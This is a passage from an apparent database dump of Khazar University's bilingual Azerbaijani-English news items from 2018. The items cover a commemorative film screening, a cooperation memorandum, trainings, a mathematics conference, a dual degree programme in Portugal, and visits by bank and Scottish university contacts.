almaq olar:&nbsp;</p><p><a href=\"https://media.az/society/1067716952/ne-mozhesh-trudoustroitsya-podavay-v-sud-na-vuz-mediaaz-razbiraetsya-v-nyuansah-zakona-ob-obrazovanii/\">https://media.az/society/1067716952/ne-mozhesh-trudoustroitsya-podavay-v-sud-na-vuz-mediaaz-razbiraetsya-v-nyuansah-zakona-ob-obrazovanii/</a>.</p>'),(6270,3569,'en','Professor Hamlet Isakhanli expresses his views on universities’ responsibility for graduates’ failure to find a job','On October 26, 2018, Media.az news portal posted an interview with Hamlet Isakhanli...','<p>On October 26, 2018, <em>Media.az</em> news portal posted an interview with Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, on the question “<em>Is it possible to sue the university in case of unemployment?</em>”</p><p>For further news please visit the following link:</p>\r\n<p><a href=\"https://media.az/society/1067716952/ne-mozhesh-trudoustroitsya-podavay-v-sud-na-vuz-mediaaz-razbiraetsya-v-nyuansah-zakona-ob-obrazovanii/\">https://media.az/society/1067716952/ne-mozhesh-trudoustroitsya-podavay-v-sud-na-vuz-mediaaz-razbiraetsya-v-nyuansah-zakona-ob-obrazovanii/</a>.</p>'),(5100,2969,'az','Xocalı soyqırımına həsr edilmiş film nümayiş olundu','2018-ci il fevralın 16-da Xəzər Universitetinin Mərmər salonunda Türkiyə Elm və Ədəbiyyat...','<p>2018-ci il fevralın 16-da Xəzər Universitetinin Mərmər salonunda Türkiyə Elm və Ədəbiyyat Əsərləri Sahiblərinin Peşə Birliyinin (İLESAM) dəstəyi ilə hazırlanmış Elçin&nbsp;Arifoğlunun Xocalı soyqırımına həsr edilmiş “Kağız qəbir” filmi nümayiş olundu. Tədbirdə rektor Hassan Niknafs başda olmaqla universitetin rəhbərliyi, əməkdaşları, tələbələr və qonaqlar – İLESAM-ın Baş müdiri Mehmet Nuri Parmaksız və İLESAM-ın Azərbaycan üzrə nümayəndəsi, Azərbaycan Yazıçılar Birliyinin (AYB) Mətbuat katibi Xəyal Rza iştirak edirdilər.</p><p>Filmin nümayişindən əvvəl universitetin İdarəetmə və tələbə işləri üzrə prorektoru İsaxan İsaxanlı çıxış&nbsp;edərək, Xocalı soyqırımının 26-cı ildönümü ilə əlaqədar Azərbaycanda və xarici olkələrdə tədbirlərin keçirildiyi haqqında danışdı, Türkiyənin müxtəlf qurumları və ziyalılarının bu sahədəki işini xüsusi qeyd etdi və nümayiş olunacaq filmin də buna bariz nümunə olduğunu söylədi.</p><p>İLESAM-ın Baş müdiri Mehmet Nuri Parmaksız çıxışında Xocalı faciəsi qurbanlarının xatirəsinin Türkiyədə də daim yad edildiyindən və filmin məziyyətlərindən bəhs etdi.</p><p>Sonra film nümayiş olundu və tamaşaçılarda dərin təəssürat yaratdı.</p>'),(5101,2969,'en','Demonstration of a film dedicated to Khojaly Massacre','A film “A Paper Grave”, directed by Elchin Arifoghlu, with the support of Scientific and Literary...','<p>A film “A Paper Grave”, directed by Elchin Arifoghlu, with the support of Scientific and Literary Work Owners\' Association of Turkey ILESAM, dedicated to the Khojaly Massacre, was demonstrated in Marble hall of Khazar University on February 6, 2018. Dr. Hassan Niknafs, rector of the university, as well as the university administration, staff members, students and guests - Mehmet Nuri Parmaksiz, chief executive of ILESAM, and Khayal Rza, ILESAM representative in Azerbaijan and a spokesman of Azerbaijan Union of Writers, participated at the ceremony.</p><p>Before demonstration, Isakhan Isakhanli, vice rector for Administration and Student Affairs, delivered a speech and mentioned that ceremonies dedicated to the 26<sup>th</sup> anniversary of the Khojaly Massacre are organized in Azerbaijan and abroad, highlighted the work of the various organizations and intellectuals of Turkey and said that the film to be demonstrated is an obvious example.</p><p>In his speech, Mehmet Nuri Parmaksiz, chief executive of ILESAM, mentioned that the victims of the Khojaly Massacre are always remembered in Turkey, and appreciated the merits of the film.</p><p>Afterwards, the film was demonstrated which made a deep impression on the audience.</p>'),(5102,2968,'az','İLESAM ilə əməkdaşlıq haqqında memorandum imzalandı','2018-ci il fevralın 16-da Türkiyə Elm və Ədəbiyyat Əsərləri Sahiblərinin Peşə Birliyinin...','<p>2018-ci il fevralın 16-da Türkiyə Elm və Ədəbiyyat Əsərləri Sahiblərinin Peşə Birliyinin (İLESAM) Baş müdiri Mehmet Nuri Parmaksız və İLESAM-ın Azərbaycan üzrə nümayəndəsi, Azərbaycan Yazıçılar Birliyinin (AYB) Mətbuat katibi Xəyal Rza Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı başda olmaqla universitet rəhbərliyi ilə görüşdülər.&nbsp;</p><p>Görüşdə rektor Hassan Niknafs, Tədris işləri üzrə prorektor Məhəmməd Nuriyev, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı və Elmi işlər üzrə prorektor İradə Xəlilova iştirak edirdilər.</p><p>Görüşdə qarşılıqlı maraq doğuran məsələlər müzakirə olundu və əməkdaşlıq haqqında memorandum imzalandı.</p>'),(5103,2968,'en','A memorandum of cooperation is signed with ILESAM','Mehmet Nuri Parmaksiz, chief executive of Scientific and Literary Work Owners\' Association...','<p>Mehmet Nuri Parmaksiz, chief executive of Scientific and Literary Work Owners\' Association of Turkey ILESAM, and Khayal Rza, ILESAM representative in Azerbaijan and a spokesman of Azerbaijan Union of Writers, met Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, and the university administration.</p><p>Dr. Hassan Niknafs, rector of the university, Prof. Mahammad Nuriyev, vice rector of Khazar University for Academic Affairs, Dr. Isakhan Isakhanli, vice rector for Administration and Student Affairs, and Assoc. Prof. Irada Khalilova, vice-rector for Research, participated at the meeting.</p><p>The issues of mutual interest were discussed and a memorandum of cooperation was signed at the meeting.</p>'),(5104,2970,'az','“Xəzər”in əməkdaşına fəlsəfə doktoru diplomu verilmişdir','Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentinin müəllimi İrina Orucova Azərbaycan Respublikasının...','<p>Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasında diplomların təqdim olunması mərasimi keçirilmişdir.</p><p>Xəzər Universitetinin İngilis dili və ədəbiyyatı departamentinin müəllimi İrina Orucovaya da filologiya üzrə fəlsəfə doktoru diplomu verilmişdir.</p>'),(5105,2970,'en','A staff member of Khazar University received a Ph.D. diploma','Presentation ceremony for diplomas was held at Higher Attestation Commission under the President...','<p>Presentation ceremony for diplomas was held at Higher Attestation Commission under the President of the Republic of Azerbaijan.</p><p>Irina Orujova, a lecturer of the Department of the English Language and Literature, was also awarded a Ph.D. diploma in Philology.</p>'),(5106,2971,'en','Training on “How to pass an interview successfully”','Sabina Allahveranova, a manager of Career Centre of Khazar University, held a training...','<p>Sabina Allahveranova, a manager of Career Centre of Khazar University, held a training on “How to pass an interview successfully” on February 16, 2018.</p><p>Fakhranda Alimardanova, Vice-dean on Academic Affairs of the School of Engineering and Applied Sciences, also participated at the interview stage of the training.</p><p>The aim of the training was to provide students with basic interview practice and knowledge.</p><p>At the end of the training, the trainer answered the students’ questions.</p>'),(5657,3251,'az','Xəzər Universitetində professor Hamlet İsaxanlının yubileyinə həsr olunmuş beynəlxalq konfrans keçirildi','2018-ci il mayın 21-24-də Xəzər Universitetinin Riyaziyyat departamentinin təşkilatçılığı...','<p>2018-ci il mayın 21-24-də Xəzər Universitetinin Riyaziyyat departamentinin təşkilatçılığı, Azərbaycan, Rusiya, Gürcüstan, Türkiyə, Ukrayna, ABŞ, İsveç və Birləşmiş Ərəb Əmirliklərinin nümayəndələrindən ibarət Beynəlxalq Təşkilat Komitəsinn rəhbərliyi ilə universitetin Mərmər salonunda universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının (İsayev) 70 illik yubileyinə həsr olunmuş “Riyazi fizikanın operatorları, funksiyaları və sistemləri” mövzusunda beynəlxalq konfrans keçirildi. Konfransın məqsədi riyazi fizika sahəsində yeni nəticələri və tədqiqat istiqamətlərini müzakirə etmək idi.</p><p>Konfransda Xəzər Universitetinin rəhbərliyi və əməkdaşları, Azərbaycan, Türkiyə, İran, Rusiya, Gürcüstan, Ukrayna, Qazaxıstan, Almaniya, Fransa, İspaniya, Səudiyyə Ərəbistanı Krallığı, Avstriya, ABŞ, İtaliya, İngiltərə, Birləşmiş Ərəb Əmirlikləri və İsveçdən olan 70-ə yaxın görkəmli alim, aparıcı mütəxəssis və tədqiqatçılar iştirak edirdilər.</p><p>Konfrans bu mövzuları əhatə edirdi: Ümumi operatorlar və spektral nəzəriyyə; Riyazi fizikanın xüsusi törəməli tənliklərinin analizi; Diferensial operatorların spektral nəzəriyyəsi; Riyazi fizikanın məsələlərində bazislər, freimlər və aproksimantlar; Klassik və kvant inteqrallanan modellər; Sim və kvant sahə nəzəriyyəsi; Xüsusi funksiyalar; Səpilmə nəzəriyyəsi; Tərs məsələlər.</p><p>Konfransı giriş sözü ilə Xəzər Universitetinin rektoru Dr. Hassan Niknafs açaraq, iştirakçıları salamladı, tədbirin beynəlxalq əhəmiyyətindən danışdı və konfrans iştirakçıları adından professor Hamlet İsaxanlını 70 illik yubileyi münasibətilə təbrik etdi.</p><p>Professor Hamlet İsaxanlı geniş çıxışında riyazi fizika sahəsində dünyada əldə olunan yeni nəticələrin və tədqiqat istiqamətlərinin müzakirə edilməsini, sahənin aparıcı mütəxəssislərinin Bakıda, Xəzər Universitetində bir araya gəlməsini əlamətdar hadisə adlandırdı və buna görə iştirakçılara təşəkkürünü bidirdi, konfransa uğurlu iş arzuladı.</p><p>Sonra konfransın proqramına uyğun olaraq məruzələrin dinlənilməsinə başlanıldı.</p><p>Konfrans 4 gün ərzində 4 bölmədə işini davam etdirdi. 70-dək məruzə dinlənildi, müzakirələr aparılaraq, suallar cavablandırıldı.</p><p>Konfransın professor Hamlet İsaxanlıya həsr olunmuş xüsusi sessiyası keçirildi. Sessiyada professor Hamlet İsaxanlı “Operatorların çoxparametrli spektral nəzəriyyəsi haqqında”, Türkiyənin Koç Universitetinin (İstanbul) professoru Varqa Kələntərov “Professor Hamlet İsaxanlının operatorlar nəzəriyyəsi sahəsindəki işlərinə dair”, Xəzər Universiteti Keyfiyyətin təminatı mərkəzinin direktoru Lyudmila Sotova “Professor Hamlet İsaxanlının həyat yolu”, Xəzər Universiteti Magistratura, doktorantura və elmi işlər bölməsinin müdiri, fəlsəfə doktoru Eldar Şahgəldiyev “Professor Hamlet İsaxanlının humanitar və sosial elmlər sahəsindəki elmi işləri”, filologiya elmləri doktoru, professor Asif Hacılı “Professor Hamlet İsaxanlı – şair, yazıçı və tərcüməçi” mövzularında məruzələrlə çıxış etdilər.</p><p>Mayın 24-də universitetin Mərmər salonunda konfransın bağlanış mərasimi keçirildi. Professor Hamlet İsaxanlı çıxış edərək, konfransın işini yekunlaşdırdı. Qeyd etdi ki, konfrans görkəmli alim və mütəxəssislərin fəal iştirakı ilə keçərək səmərəli olmuş, onlar bir-birinin yeni elmi tədqiqatları və nəticələri ilə tanış olmuşlar. H.İsaxanlı, həmçinin, belə konfransların imkan daxilində daha mütəmadi keçirilməsi zəruriliyini də vurğuladı.</p><p>Konfrans iştirakçıları adından Rusiyanın Belqorod Dövlət Universitetinin professoru Aleksandr Soldatov çıxış edərək, konfransın yüksək səviyyədə təşkili və keçirilməsinə görə Xəzər&nbsp;Universitetinin rəhbərliyinə, şəxsən professor Hamlet İsaxanlıya və bütün təşkilatçılara dərin təşəkkürünü bildirdi.</p><p>Konfrans iştirakçıları üçün Bakı şəhərinə ekskursiya, böyük ziyafət və Xəzər Universitetinin Kamera orkestrinin konserti təşkil olunmuşdu.</p>'),(5223,3030,'az','“Xəzər Xəbər”in əməkdaşı Azərbaycan jurnalistlərinin VII qurultayında iştirak edib','Martın 10-da Bakıda Azərbaycan jurnalistlərinin VII qurultayı keçirilib. Qurultayda...','<p>Martın 10-da Bakıda Azərbaycan jurnalistlərinin VII qurultayı keçirilib. Qurultayda Mətbuat Şurasına üzv olan 166 təşkilatdan 241 nümayəndə, o cümlədən Xəzər Universiteti “Xəzər Xəbər” jurnalının baş redaktor müavini, əməkdar jurnalist Əlirza Balayev iştirak edirdi.</p><p>Azərbaycan Respublikası Prezidentinin ictimai-siyasi məsələlər üzrə köməkçisi Əli Həsənov dövlət başçısı İlham Əliyevin qurultay iştirakçılarına təbrik məktubunu oxumuş, Mətbuat Şurasının sədri Əflatun Amaşov Azərbaycan jurnalistlərinin VI qurultayından ötən dövrdə görülən işlərlə bağlı hesabat məruzəsi ilə çıxış etmişdir.</p><p>Sonra MŞ-nin nəzarət-təftiş və mandat komissiyalarının hesabatları dinlənilib. Hesabatlar, ümumilikdə, mətbuatın ümumi problemlərini və təşkilati məsələləri əhatə edib.</p><p>Sonra məruzələr ətrafında müzakirələr aparılıb. Çıxışlarda Azərbaycanda mətbuatın inkişafı, həm yazılı, həm də elektron medianın maddi-texniki bazasının, jurnalistlərin sosial müdafiəsinin möhkəmləndirilməsi istiqamətində görülən işlərdən danışılıb. Natiqlər Mətbuat Şurasının hesabat dövründəki fəaliyyətini qənaətbəxş qiymətləndiriblər.</p><p>Azərbaycan Respublikası Prezidentinin ictimai-siyasi məsələlər üzrə köməkçisi Əli Həsənov qurultayda çıxış edib.</p><p>Azərbaycan jurnalistlərinin VII qurultayında səsvermə nəticəsində Əflatun Amaşov yenidən Mətbuat Şurasının sədri seçilib.</p><p>Sonda qurultayın qətnaməsi qəbul olunub. Bununla da Azərbaycan jurnalistlərinin VII qurultayı başa çatıb.</p>'),(5111,2973,'en','Mevlana Exchange Program Info Session','On February 16, 2018, the International Affairs Office held an information session about Mevlana...','<p>On February 16, 2018, the International Affairs Office held an information session about Mevlana Exchange Program for students of Khazar University.</p><p>The purpose of this session was to provide the participants with detailed information on Mevlana Exchange Program and explain how they can benefit from this opportunity. Gunay Farzaliyeva, a coordinator of International Affairs Office, delivered a brief presentation about exchange program and informed students about eligibility requirements and required documents. She also gave useful tips for producing a successful application.</p><p>Aytaj Aghayeva, a student of the School of Economics and Management and a Mevlana exchange student in the current academic year, also participated in the info session. Aytaj shared her experience as a Mevlana exchange student at Sakarya University in Turkey.</p><p>The event ended with a question and answer session.</p>'),(5852,3352,'en','About Khazar','About Khazar',''),(5112,2974,'az','İkili Diplom Proqramı: Avropada 1 tədris ili təhsil al və iki diplom əldə et','İkili Diplom Proqramı...','<p style=\"text-align:left\"><iframe width=\"700\" height=\"480\" src=\"https://www.youtube.com/embed/mz6NB3v0a1E\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe></p><p style=\"text-align:center\"><strong>Braqanza Politexnik İnstitutu, Portuqaliya&nbsp;</strong></p><p style=\"text-align:center\"><strong>(Polytechnic Institute of Bragança, IPB)</strong></p>  <p><strong><br></strong></p><p><strong>TƏLƏBLƏR</strong>:</p><p><strong>Təhsil pilləsi</strong></p><p>&nbsp; &nbsp; &nbsp; &nbsp;- Bakalavr: 6 semestr oxumuş və 180 ECTS (Avropa krediti) toplamış</p><p>&nbsp; &nbsp; &nbsp; &nbsp;- Magistr: 2 semestr oxumuş və 60 ECTS (Avropa krediti) toplamış</p>\r\n<p><strong>İxtisaslar</strong>:</p><p> &nbsp; &nbsp;   - Bakalavr</p><ul><li>Kompüter elmləri</li><li>Kompüter mühəndisliyi</li><li>Kimya mühəndisliyi</li><li>Menecment</li></ul><p>&nbsp; &nbsp;&nbsp;-  Magistr</p><ul><li>Komputer sistemləri və şəbəkələri</li><li>Kompüter mühəndisliyi</li><li>İnformatika</li><li>Menecment (MBA)</li></ul>\r\n<p><strong>Təhsil haqqı və yaşayış xərcləri</strong>: əcnəbi tələbə Braganzada (Portuqaliya) aylıq 400 Avro büdcə ilə təhsil ala və yaşaya bilər:</p><p> &nbsp; &nbsp;   - İllik təhsil haqqı: 1090 Avro (bu məbləğ aylıq ödənilə bilər – hər ay 109 Avro)</p><p> &nbsp; &nbsp;   - Yaşayış: ortaq otaq kirayəsi aylıq 110 Avro</p><p style=\"text-align:left\"> &nbsp; &nbsp;   - Qidalanma: universitetin yeməkxanasında 2,30 Avroya tam menyu</p>'),(5113,2974,'en','Dual Degree Diploma: Study one academic year in Europe and get a dual degree diploma','Dual Degree Diploma...','<p style=\"text-align:left\"><iframe width=\"700\" height=\"480\" src=\"https://www.youtube.com/embed/mz6NB3v0a1E\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe></p><p><strong><br></strong></p><p style=\"text-align:center\"><strong>Polytechnic Institute of Bragança (IPB), Portugal</strong> </p><p><strong><br></strong></p><p><strong>REQUIREMENTS</strong>:</p><p><strong>Level of Study</strong>:</p><p> &nbsp; &nbsp;   - Bachelor: have completed 6 (six) semesters of study and accumulated 180 ECTS</p><p> &nbsp; &nbsp;   - Master: have completed 2 (two) semesters and accumulated 60 ECTS</p>\r\n<p><strong>Programs/Majors</strong>:</p><p> &nbsp; &nbsp;   - Bachelor:</p><br><ul><li>Computer Science</li><li>Computer Engineering</li><li>Chemical Engineering</li><li>Management</li></ul><br><p> &nbsp; &nbsp;   - Master:</p><br><ul><li>Computer System and Networks</li><li>Computer Engineering</li><li>Informatics</li><li>Management (MBA)</li></ul><br>\r\n<p><strong>Tuition Fee and Cost of Living</strong>: international students can study and live in Bragança (Portugal) for less than 400 EUR/month (including tuition fee)</p><p> &nbsp; &nbsp;   - Tuition Fee: 1090 EUR/year (it can be paid in 10-months installments of 109 EUR each)</p><p> &nbsp; &nbsp;   - Accommodation: students can rent a shared room for 110 EUR/month</p><p> &nbsp; &nbsp;   - Meals: students can use the University’s academic restaurant for 2,30 EUR per complete meal</p>'),(5120,2979,'en','Dual Degree Diploma: Study one academic year in Europe and get a dual degree diploma','Dual Degree Diploma: Study one academic year in Europe and get a dual degree diploma  starting from September 2018...','<p style=\"text-align:left\"><iframe width=\"700\" height=\"480\" src=\"https://www.youtube.com/embed/mz6NB3v0a1E\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe></p><p style=\"text-align:center\"><strong>Polytechnic Institute of Bragança (IPB), Portugal  <br></strong></p><p><strong>REQUIREMENTS:</strong></p><p><strong>Level of Study:</strong></p><p>&nbsp; &nbsp; - Bachelor: have completed 6 (six) semesters of study and accumulated 180 ECTS</p><p>&nbsp; &nbsp; - Master: have completed 2 (two) semesters and accumulated 60 ECTS</p><p><strong>Programs/Majors:</strong></p><p>&nbsp; &nbsp; - Bachelor:</p><br><ul><li>Computer Science</li><li>Computer Engineering</li><li>Chemical Engineering</li><li>Management</li></ul><br><p>&nbsp; &nbsp; - Master:</p><br><ul><li>Computer System and Networks</li><li>Computer Engineering</li><li>Informatics</li><li>Management (MBA)</li></ul><br><p>Tuition Fee and Cost of Living: international students can study and live in Bragança (Portugal) for less than 400 EUR/month&nbsp;(including tuition fee)  </p><p>&nbsp; &nbsp; - Tuition Fee: 1090 EUR/year (it can be paid in 10-months installments of 109 EUR each)</p><p>&nbsp; &nbsp; - Accommodation: students can rent a shared room for 110 EUR/month</p><p>&nbsp; &nbsp; - Meals: students can use the University’s academic restaurant for 2,30 EUR per complete meal</p>'),(5121,2979,'az','İkili Diplom Proqramı: Avropada 1 tədris ili təhsil al və iki diplom əldə et','İkili Diplom Proqramı: 2018-ci ilin Sentyabrından başlayaraq, Avropada 1 tədris ili təhsil al və iki diplom əldə et...','<p style=\"text-align:left\"><iframe width=\"700\" height=\"480\" src=\"https://www.youtube.com/embed/mz6NB3v0a1E\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe></p><p style=\"text-align:center\"><strong>Braqanza Politexnik İnstitutu, Portuqaliya&nbsp;</strong></p><p><strong>TƏLƏBLƏR:</strong></p><p><strong>Təhsil pilləsi</strong></p><p>&nbsp; &nbsp; &nbsp; &nbsp;- Bakalavr: 6 semestr oxumuş və 180 ECTS (Avropa krediti) toplamış</p><p>&nbsp; &nbsp; &nbsp; &nbsp;- Magistr: 2 semestr oxumuş və 60 ECTS (Avropa krediti) toplamış</p><p><strong>İxtisaslar:</strong></p><p>&nbsp; &nbsp; - Bakalavr</p><ul><li>Kompüter elmləri</li><li>Kompüter mühəndisliyi</li><li>Kimya mühəndisliyi</li><li>Menecment</li></ul><p>&nbsp; &nbsp;&nbsp;- Magistr</p><ul><li>Komputer sistemləri və şəbəkələri</li><li>Kompüter mühəndisliyi</li><li>İnformatika</li><li>Menecment (MBA)</li></ul><p>Təhsil haqqı və yaşayış xərcləri: əcnəbi tələbə Braganzada (Portuqaliya) aylıq 400 Avro büdcə ilə təhsil ala və yaşaya bilər:</p><p>&nbsp; &nbsp; - İllik təhsil haqqı: 1090 Avro (bu məbləğ aylıq ödənilə bilər – hər ay 109 Avro)</p><p>&nbsp; &nbsp; - Yaşayış: ortaq otaq kirayəsi aylıq 110 Avro</p><p>&nbsp; &nbsp; - Qidalanma: universitetin yeməkxanasında 2,30 Avroya tam menyu</p>'),(6266,3567,'en','Training “Research Opportunities and Use of ICT in Education” to be held','On November 5-7, 2018, within Erasmus+ PETRA project...','<p>On November 5-7, 2018, within Erasmus+ PETRA project (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP), on a joint organizational support of the Center for Development and the Training Center of Khazar University, it is planned to hold a project management meeting and training. Training “<em>Research Opportunities and Use of ICT in Education</em>” will be held for associates of partner universities in Azerbaijan. The training will cover research methods, research opportunities and current situation of research.</p><p>Those who are interested in are welcome to join the training. Participation of researchers, PhD and Master’s students are especially desirable. Please contact Ulkar Bayramova (<a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>) to confirm your participation.</p><p>You can read&nbsp;agenda&nbsp;<strong><a href=\"http://www.khazar.org/files/events/PETRA_November%20workshop_agenda.pdf\">here</a></strong>.<br></p>'),(6265,3567,'az','“Tədqiqat imkanları və təhsil prosesində İKT-dən istifadə” adlı təlim olacaq','2018-ci il noyabrın 5-dən 7-dək Erasmus+ PETRA layihəsi...','<p>2018-ci il noyabrın 5-dən 7-dək Erasmus+ PETRA layihəsi (573630-EPP-1-2016-1-AZ-EPPKA2-CBHE-JP) çərçivəsində Xəzər Universiteti İnkişaf Mərkəzi və Təlim-Tədris Mərkəzinin təşkilatçılığı ilə layihənin idarəetmə görüşü və təlimlərin keçirilməsi nəzərdə tutulur. “<em>Tədqiqat imkanları və təhsil prosesində İKT-dən istifadə</em>” adlı təlimlər Azərbaycandan layihə tərəfdaşı olan universitetlərin əməkdaşları üçün keçiriləcək. Təlimlər tədqiqatın necə aparılması, tədqiqat metodları, ölkədə tədqiqatın vəziyyəti və tədqiqat imkanları kimi mövzuları əhatə etməklə, avropalı təlimçilər tərəfindən veriləcək.</p><p>Maraqlanan hər kəs təlimlərdə iştirak edə bilər. Tədqiqatçıların, PhD və magistr tələbələrinin təlimlərdə iştirakı xüsusilə vacib və arzu olunandır. Təlimlərdə iştirak etmək istəyənlərdən <a href=\"mailto:ubayramova@khazar.org\">ubayramova@khazar.org</a>   (Ülkər Bayramova) e-mail ünvanına yazmaqla, iştirakını təsdiq etməsi xahiş olunur.</p><p>Tədbirin gündəliyini <a href=\"/files/events/PETRA_November%20workshop_agenda.pdf\"><strong>bu link</strong></a> vasitəsilə yükləyə bilərsiniz.<br></p>'),(5142,2989,'az','Bank VTB (Azərbaycan)-ın idarə heyətinin sədri Xəzər Universitetində','2018-ci il fevralın 21-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor...','<p>2018-ci il fevralın 21-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Bank VTB (Azərbaycan)-ın İdarə Heyətinin sədri Yevgeni Anatolyeviç Kirinlə işgüzar görüş keçirdi. Görüşdə universitetin baş mühasibi Emin Bəylərov və Bank VTB (Azərbaycan) “Neftçilər” filialının müdiri Elşən Nizamov da iştirak edirdilər.</p><p>Görüş zamanı H.İsaxanlı universitetin yaranma tarixi, əldə etdiyi nailiyyətlər, tədris prosessi, elmi-texniki bazası, beynalxalq əməkdaşlığı və beynəlxalq universitetlər reytinqdə olan vəziyyəti barədə qonağa geniş məlumatlar verdi. Hamlet İsaxanlı universitetin Bank VTB (Azərbaycan)-la işgüzar əlaqələrinə diqqət yetirərək, onların daha da genişləndirilməsinin, yeni layihələrdə əməkdaşlıq üçün zəmin yaradılmasının vacibliyini bildirdi.</p><p>Bank VTB (Azərbaycan)-ın İdarə Heyətinin sədri Yevgeni Anatolyeviç Kirin görüşdən məmnunluğunu bildirərək, universitetlə işgüzar əlaqələrin genişləndirilməsini və əməkdaşlığının daha da yüksək səviyyəyə qaldırılmasını bildirdi.</p>'),(5143,2989,'en','Chairman of the Management Board of VTB Bank (Azerbaijan) visits Khazar University','Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees...','<p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, had a business meeting with Yevgeny Anatolyevich Kirin, Chairman of the Management Board of VTB Bank (Azerbaijan). Emin Baylarov, Head Accountant of the University, and Elshan Nizamov, Head of “Neftchlier” branch of VTB Bank (Azerbaijan), also participated in the meeting.</p><p>Prof. Isakhanli gave detailed information on history, achievements, education process, technical facilities, international relations, and international ranking of the University to the guest. He mentioned business relations of the University with VTB Bank (Azerbaijan), and stressed that it was important to broaden relations and start new projects.</p><p>Yevgeny Anatolyevich Kirin, Chairman of the Management Board of VTB Bank (Azerbaijan), expressed his satisfaction of the meeting, and added that every effort should be made to increase mutual relations.</p>'),(5144,2990,'az','Şotlandiya universitetləri və sparqs ilə tanışlıq','2018-ci il fevralın 20-dən 22-dək Xəzər Universiteti İnkişaf Mərkəzinin direktoru Raziyə İsayeva tələbə cəlbi...','<p>2018-ci il fevralın 20-dən 22-dək Xəzər Universiteti İnkişaf Mərkəzinin direktoru Raziyə İsayeva tələbə cəlbi haqqında araşdırması ilə bağlı tanışlıq ziyarətilə Şotlandiya universitetlərində və sparqs təşkilatında oldu. O, Dandi Universitetində təşkil edilmiş nümayəndəliklərin görüşündə iştirak etdi və təqdimat keçirdi.</p><p>Fevralın 21-də R.İsayeva sparqs (Şotlandiyada Keyfiyyətin Təminatı üzrə Tələbə Tərəfdaşlıqları) direktoru İv Lyuislə görüşmək və apardığı tədqiqatla əlaqədar söhbət etmək üçün təşkilata baş çəkdi. Həmin gün o, tələbə birliyi nümayəndələri –Edinburq Universiteti Tələbə Birliyində Təmsilçilik və Demokratiya üzrə meneceri Al Pauel və Təhsil və Məktəblər üzrə ofisin məsul şəxsi Meqan Braun ilə görüşmək üçün Edinburq Universitetini də ziyarət etdi. Onlar tələbə birliyi binalarını tanıdıb onun tarixi və funksiyaları haqqında danışdılar və tədqiqatın cavab axtardığı bir çox digər sualları müzakirə etdilər.</p><p>Fevralın 22-də o, Stirlinq Universitetinə baş çəkərək, tələbə birliyi nümayəndəlikləri –&nbsp;Demokratiya və Araşdırmalar üzrə koordinator Emi Eberlik, tələbə birliyi prezidenti Astrid Smollenbrok və Təhsil üzrə vitse-prezident Met Adi ilə görüşdü. Onlar tələbə cəlb edilməsi ilə bağlı bir çox sualları, bu işin həm tələbə, həm də universitet üçün müsbət nəticələrini, eləcə də, tədqiqatın mövzusundan irəli gələn digər məsələləri müzakirə etdilər.</p><p>Bütün görüşlər sparqs-ın böyük dəstəyi ilə baş tutdu.</p>'),(5145,2990,'en','Study visit to Scottish Universities and sparqs','February 20-22, 2018 Raziya Isayeva, Director of Development of Khazar University, had a study...','<p>February 20-22, 2018 Raziya Isayeva, Director of Development of Khazar University, had a study&nbsp;visit to universities in Scotland and sparqs for her research on Student Engagement. She visited University of Dundee to attend the meeting of representatives and made a presentation on her research. On 21<sup>st</sup> of February, she visited sparqs (Student partnerships in quality in Scotland) to meet the director, Eve Lewis to interview her for the research she is conducting. Later that day she visited University of Edinburgh to meet representatives of the student union Al Powell, Representation &amp; Democracy Manager at Edinburgh University Students\' Association and Megan Brown, Education &amp; Schools officer. They introduced her the buildings of student union, talked about its history and functions, and&nbsp;discussed many other questions the research is seeking to answer.</p><p>On 22<sup>nd</sup> of February,&nbsp;she visited University of Stirling and met representatives of student union: Democracy &amp; Research Co-Ordinator, Amy Eberlin, President of the student union, Astrid Smallenbroek and Vice president for education, Matt Adie. They discussed student engagement issues, positive outcomes of it both for students and for the university, as well as&nbsp;questions derived from the research proposal.</p><p>All the meetings were possible with a great support from sparqs.</p>'),(5929,3391,'en','Education expert cited Khazar University as a model','On August 22, 2018, moderator.az website released an interview with Elchin Efendi, an education expert...','<p>On August 22, 2018, <strong><em>moderator.az</em></strong> website released an interview with Elchin Efendi, an education expert, entitled “<em>The biggest mistake of those applying for vacant places is fear of choosing \"private\" universities</em>”. The education expert noted that due to the closure of several private universities in recent years, parents have lost their trust in private universities, saying that ‘their children might be left out’. Nevertheless, he pointed to Khazar University as saying: “<em>It is connected with quality education at Khazar University. Moreover, Khazar University is the only Azerbaijani university in the rankings of world universities.</em>”</p><p>The interview is available at:</p><p> <a href=\"http://www.moderator.az/news/237291.html#Kalibri\">http://www.moderator.az/news/237291.html#Kalibri</a></p>'),(5146,2991,'az','Doktorantura və Magistratura Tələbə Birliyinin növbəti seminarı','2018-ci il fevralın 23-də Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyinin ənənəvi təlim və seminarları...','<p>2018-ci il fevralın 23-də Xəzər Universiteti Doktorantura və Magistratura Tələbə Birliyinin ənənəvi təlim və seminarları çərçivəsində “Akademik yazının incəlikləri” mövzusunda növbəti seminar keçirildi. Seminarda akademik yazının struktur, semantika və sintaksis baxımından xüsusiyyətləri izah olundu, müzakirələr aparıldı. İştirak edən doktorantların sualları cavablandırıldı, fikir və təcrübə mübadiləsi aparıldı. Seminarı Xəzər Universiteti Təhsil departamentinin koordinatoru, Osmangazi 